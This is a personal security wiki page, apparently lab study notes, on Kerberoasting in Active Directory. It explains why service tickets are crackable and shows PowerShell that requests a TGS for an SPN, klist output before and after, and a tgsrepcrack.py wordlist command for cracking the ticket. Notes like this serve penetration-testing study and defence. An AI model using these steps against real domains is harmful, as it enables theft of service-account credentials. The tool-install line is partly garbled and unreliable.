Wiki : ./Security/Windows/AD/Service Account Attacks.md

Kerberoasting

  • apt install kerberoast or lmpacket or rubeus.exe

Service Principal Name

  • The client requests a service ticket that is generated by the KDC which is encrypted using the password hash of the SPN.
  • No checks are performed by the KDC if the user is permitted to request defined by the SPN.
  • If the SPN is known, a TGS can be requested and the SPN users hash cracked

Requesting TGS

  • Will trigger AMSI

Before

PS C:\Windows\system32> klist purge
PS C:\Windows\system32> klist

Current LogonId is 0:0x18c7d4

Cached Tickets: (0)

Requesting TGS

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'HTTP/CorpWebServer.corp.com'

After

PS C:\Windows\system32> klist

Current LogonId is 0:0x18c7d4

Cached Tickets: (2)

#0>     Client: offsec @ CORP.COM
        Server: krbtgt/CORP.COM @ CORP.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 2/18/2023 3:42:48 (local)
        End Time:   2/18/2023 13:42:48 (local)
        Renew Time: 2/25/2023 3:42:48 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: DC01.corp.com

#1>     Client: offsec @ CORP.COM
        Server: HTTP/CorpWebServer.corp.com @ CORP.COM
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 2/18/2023 3:42:48 (local)
        End Time:   2/18/2023 13:42:48 (local)
        Renew Time: 2/25/2023 3:42:48 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0
        Kdc Called: DC01.corp.com

Exporting TGS to crack

  • See Mimikatz
  • The service ticket is encrypted using the SPN's password hash.

Cracking tgs

tgsrepcrack.py

$ python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt [file]
i4